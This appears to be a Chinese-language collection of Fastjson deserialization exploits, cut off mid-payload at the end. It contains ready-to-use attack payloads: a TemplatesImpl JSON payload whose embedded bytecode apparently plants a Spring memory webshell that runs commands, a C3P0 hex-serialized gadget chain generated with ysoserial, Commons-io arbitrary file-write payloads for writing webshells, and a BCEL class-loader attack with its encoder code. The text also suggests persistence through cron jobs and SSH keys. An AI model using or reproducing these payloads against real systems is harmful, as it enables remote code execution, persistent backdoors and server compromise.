{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQA/AoAPwCDCgCEAIUIAIYLAIcAiAcAiQcAigsABQCLCACMCgALAI0IAI4HAI8KAAsAkAoAkQCSBwCTCABZCgALAJQHAJUHAJYIAJcKABEAmAcAmQcAmgoAFQCbBwCcCgAYAJ0IAFcKAA4AngoABgCfBwCgCgAdAKEKAB0AoggAowsApAClCwCmAKcIAKgIAKkKAKoAqwoAEgCsCACtCgASAK4HAK8IALAIALEKACkAmAgAsggAswcAtAoAKQC1CgC2ALcKAC8AuAgAuQoALwC6CgAvALsKAC8AvAoALwC9CgC+AL8KAL4AwAoAvgC9CwCmAMEHAMIKAA4AgwoAPADDBwDEAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMY29tL2V4bXBsZS9UZW1wbGF0ZXNJbXBsU3ByaW5nQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHbWV0aG9kMgEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEABmluamVjdAEACkV4Y2VwdGlvbnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhYWEBABJMamF2YS9sYW5nL1N0cmluZzsBAAR0ZXN0AQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABbwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAEYXJnMAEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCTBwDFBwDGBwCWBwDHBwCvBwC0BwDCAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAyAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAiVGVtcGxhdGVzSW1wbFNwcmluZ0NvbnRyb2xsZXIuamF2YQwAQABBBwDJDADKAMsBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAMwMAM0AzgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAzwDQAQBEb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5oYW5kbGVyLkFic3RyYWN0SGFuZGxlck1ldGhvZE1hcHBpbmcMANEA0gEAEmdldE1hcHBpbmdSZWdpc3RyeQEAD2phdmEvbGFuZy9DbGFzcwwA0wDUBwDVDADWANcBAChjb20vZXhtcGxlL1RlbXBsYXRlc0ltcGxTcHJpbmdDb250cm9sbGVyDADYANQBAEZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQAQamF2YS9sYW5nL1N0cmluZwEABi9zaGVsbAwAQAB8AQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDABAANkBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDABAANoMAEAAVgwA2wDcAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwA3QDeDADfAOABAANjbWQHAMUMAOEA4gcAxgwA4wDkAQAAAQAHb3MubmFtZQcA5QwA5gDiDADnAOgBAAN3aW4MAOkA6gEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADrAOwHAO0MAO4A7wwAQADwAQACXEEMAPEA8gwA8wD0DAD1AOgMAPYAQQcAxwwA9wBWDAD4AEEMAPkA+gEAE2phdmEvbGFuZy9FeGNlcHRpb24MAPsAQQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2lvL1ByaW50V3JpdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEACWdldE1ldGhvZAEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAQShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3Ry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"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

C3P0二次序列化之 hex序列化字节加载器

目标服务器需要如下依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
</dependency>
java -jar ysoserial-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
package com.exmple;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572323332393336343132353334363701001F4C79736F73657269616C2F50776E657232333239333634313235333436373B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;"}}

Commons-io 写文件/webshell

但写webshell需要知道网站路径，不然就无法利用如果为高权限，可尝试写定时任务，免密钥，等等（这些只是在理论情况下的猜想）低版本限制< fastjson 1.2.68

<dependency>
  <groupId>commons-io</groupId>
  <artifactId>commons-io</artifactId>
  <version>2.5</version>
</dependency>

Jre8 原始poc

{
    "x":{
        "@type":"java.lang.AutoCloseable",
        "@type":"sun.rmi.server.MarshalOutputStream",
        "out":{
            "@type":"java.util.zip.InflaterOutputStream",
            "out":{
                "@type":"java.io.FileOutputStream",
                "file":"/tmp/dest.txt",
                "append":false
            },
            "infl":{
                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
            },
            "bufLen":1048576
        },
        "protocolVersion":1
    }
}

commons-io 2.0 - 2.6 版本：

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7 - 2.8.0 版本：

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }

BECL攻击，命令执行/内存马

becl攻击则是利用tomcat的BasicDataSource链编译poc，将poc的class字节码转化为bcel然后发送payload

package com.exmple;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public  class Bcel {

    public static void main(String[] args) throws IOException {
        Path path = Paths.get("/Users/ajie/Desktop/fastjson/target/classes/com/exmple/Poc.class");
        byte[] bytes = Files.readAllBytes(path);
        System.out.println(bytes.length);
        String result = Utility.encode(bytes,true);
        BufferedWriter bw = new BufferedWriter(new FileWriter("res.txt"));
        bw.write("$$BCEL$$" + result);
        bw.close();
    }
}
public class Poc{
    public Poc(){
        try{
            Runtime.getRuntime().exec(new String[]{"open -a calculator"});
        } catch (Exception e) {
        }
    }

整体poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                 },
